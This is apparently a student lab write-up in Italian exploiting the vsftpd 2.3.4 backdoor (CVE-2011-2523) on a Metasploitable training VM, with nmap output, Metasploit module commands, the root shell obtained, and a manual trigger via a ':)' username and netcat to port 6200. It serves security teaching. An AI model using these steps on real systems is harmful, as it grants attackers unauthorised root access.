



S7/L1

METASPLOIT - VSFTPD

FLAVIO SCOGNAMIGLIO



TRACCIA

- *Partendo dall'esercizio visto nella lezione di oggi, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica). L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: 192.168.1.149/24. Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella test_metasploit.*

CONFIGURAZIONE

Accendo le macchine (ParrotOS e Metasploitable) del mio laboratorio. Per questioni di apprendimento ed efficienza, utilizzo un hypervisor di tipo 1, **PROXMOX**. Dopodichè, come da traccia, imposto l'ip **192.168.1.149** per la macchina metasploitable e mi accerto che le macchine comunichino tra loro.

The image displays a Proxmox VE interface on the left and two terminal windows on the right. The Proxmox interface shows a list of VMs: 107 (PARROT-HTB), 300 (Metasploitable2), localnetwork (proxmox), local (proxmox), and local-lvm (proxmox). The top terminal window shows the output of the command `sudo /etc/init.d/networking restart` and `ip a` for the Metasploitable2 VM, with the IP address `192.168.1.149` highlighted in red. The bottom terminal window, titled "ParrotTerminal", shows a ping test from the Parrot VM to the Metasploitable2 VM, with the IP address `192.168.1.149` highlighted in red. The ping test results show 3 packets transmitted, 3 received, 0% packet loss, and a time of 2029ms.

```
msfadmin@metasploitable:~$ sudo /etc/init.d/networking restart
* Reconfiguring network interfaces... [ OK ]
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether bc:24:11:df:07:8d brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::be24:11ff:fedf:78d/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasplo
```

```
[flavio@parrot]~$
$ping -c3 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.656 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=0.404 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.945 ms

--- 192.168.1.149 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2029ms
rtt min/avg/max/mdev = 0.404/0.668/0.945/0.221 ms
[flavio@parrot]~$
$
```

NMAP

L'esercizio ci chiede di completare una sessione di hacking sulla macchina metasploitable sfruttando una vulnerabilità del servizio **vsftpd**. Come prima cosa, lancio nmap per capire un paio di informazioni interessanti sul target.

```
[flavio@parrot]-[~]
$ nmap -A -p- 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 13:53 CEST
Nmap scan report for 192.168.1.149
Host is up (0.00029s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 192.168.1.85
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPD 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

Come vediamo, il servizio vsftpd è disponibile sulla porta 21, e grazie alla scansione aggressiva di nmap ne visualizziamo anche la specifica versione (**2.3.4**). Oltre ad altre informazioni aggiuntive come l'utente anonimo abilitato sull'ftp, ma attualmente non rientra nello scopo di questo esercizio.

METASPLOIT

Con qualche ricerca online, o direttamente all'interno del framework **metasploit**, cerchiamo informazioni sulla vulnerabilità del servizio vsftpd per quella specifica versione, e su eventuali **exploit** da poter utilizzare.

```
Parrot Terminal
[flavio@parrot]-[~]
$msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts

IIIIII  dTb.dTb
II      4'  v  'B
II      6.   .P
II      'T; .;P'
II      'T; ;P'
IIIIII  'YvP'

I love shells --egypt

      =[ metasploit v6.3.44-dev
+ -- ==[ 2376 exploits - 1232 auxiliary - 416 post
+ -- ==[ 1388 payloads - 46 encoders - 11 nops
+ -- ==[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

[msf](Jobs:0 Agents:0) >>
```

```
[msf](Jobs:0 Agents:0) >> search vsftpd

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

[msf](Jobs:0 Agents:0) >>
```

METASPLOIT - EXPLOIT

A questo punto, grazie alla lista appena ottenuta, possiamo scegliere in base al nostro obiettivo, l'exploit più adatto. In questo caso ho scelto la backdoor. con il comando use e il **path** dell'exploit. Avrei anche potuto scrivere: **use 1**

```
Parrot Terminal

=[ metasploit v6.3.44-dev ]
+ -- ==[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- ==[ 1388 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

[msf](Jobs:0 Agents:0) >> search vsftpd

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  - - - - -                                     - - - - -      - - - - -  - - - - -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

[msf](Jobs:0 Agents:0) >> use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >>
```

Grazie al comando **show options**, possiamo visualizzare e verificare le opzioni necessarie che dobbiamo compiere prima di eseguire effettivamente l'exploit. Come settare l'host target (RHOST), o eventuali porte.

OPZIONI

Il comando **show options** è molto importante: ci serve per visualizzare e verificare le opzioni necessarie da configurare prima di eseguire effettivamente l'exploit. Opzioni come RHOST (per definire l'host bersaglio) ed eventuali porte, sono necessarie per portare a termine l'attacco. Ovviamente va specificato anche il payload da utilizzare.

Come mostro nelle prossime slide, in questo caso vi è un solo payload impostato anche di default.

```
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies    Proxies           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
  RPORT      RPORT             yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     LHOST            yes       The local host to connect to
  LPORT     LPORT            yes       The local port to connect to
  LURI      LURI              no        The local URI to connect to
  LURI_PATH LURI_PATH         no        The local URI path to connect to
  LURI_PORT LURI_PORT         no        The local URI port to connect to
  LURI_PATH LURI_PATH         no        The local URI path to connect to
  LURI_PORT LURI_PORT         no        The local URI port to connect to

Exploit target:


  Id  Name
  --  --
  0    Automatic
```

METASPLOIT - PAYLOADS

Per ogni exploit vi sono disponibili tramite il comando **show payloads**, vari payloads tra cui poter scegliere e configurare per l'attacco. Di conseguenza ogni payload può avere la propria lista di opzioni (visionabile sempre con show options).

Un payload è il codice eseguito sul sistema compromesso dopo l'exploit, che svolge azioni come aprire una shell, stabilire una connessione remota o esfiltrare dati.

In questo caso l'unico payload disponibile, e settato di default, è quello nell'immagine sottostante. Ed è un payload di Metasploit per sistemi Unix che, quando viene eseguito, apre una shell interattiva sul sistema di destinazione. Questo permette all'attaccante di eseguire comandi direttamente sul sistema compromesso, consentendo il controllo completo della macchina.



```
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> show payloads

Compatible Payloads
=====

#  Name                Disclosure Date  Rank   Check  Description
-  -
0  payload/cmd/unix/interact      normal    No     Unix Command, Interact with Established Connection

[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> █
```


OPZIONI

Configuro il campo **RHOSTS** inserendo l'indirizzo ip della metasploitable, il mio bersaglio. La porta target (21), è già settata bene, quindi lascio così.

```
Parrot Terminal
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      -                no        The local client address
  CPORT      -                no        The local client port
  Proxies    -                no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)
```

ATTACCO

A questo punto eseguo l'attacco col comando **exploit** o in alternativa col comando **run**.

```
[msf](Jobs:0 Agents:0) exploit(unix/ftp/vsftpd_234_backdoor) >> run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.85:40303 -> 192.168.1.149:6200) at 2024-07-08 16:25:12 +0200

id
uid=0(root) gid=0(root)
█
```

L'attacco va a buon fine, possiamo vedere le informazioni degli eventi avvenuti durante la connessione al sistema target. Alla fine ci dropa una shell e abbiamo l'accesso con i massimi privilegi, a questo punto possiamo fare ciò che vogliamo.

ATTACCO

Completiamo le richieste dell'esercizio creando una cartella di rinominata: **test_metasploit**

```
id
uid=0(root) gid=0(root)
pwd
/
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

VSFTPD - INFORMAZIONI

Vediamo nel dettaglio, e manualmente, cos fa questa vulnerabilità. La vulnerabilità più nota di vsftpd è legata alla versione 2.3.4, che ha una backdoor che può essere attivata tramite una sequenza specifica di comandi FTP. Come possiamo capire i dettagli di questa vulnerabilità? Cercando online. In questo caso ho trovato la CVE su exploitdb:

<https://www.exploit-db.com/exploits/49757>

CVE-2011-2523: Questa vulnerabilità è documentata come una backdoor inserita intenzionalmente nella versione 2.3.4 di vsftpd. La backdoor viene attivata tramite un nome utente specifico contenente :).

Una eventuale prova del 9 sarebbe quella di collegarsi via FTP o telnet all'indirizzo del target alla porta 21, autenticarsi con:
USERS user:)
PASS qualcosa

A questo punto, il servizio vsftpd aprirà una shell sulla porta 6200 alla quale potremmo collegarci via netcat con nc 192.168.1.149 6200

GRAZIE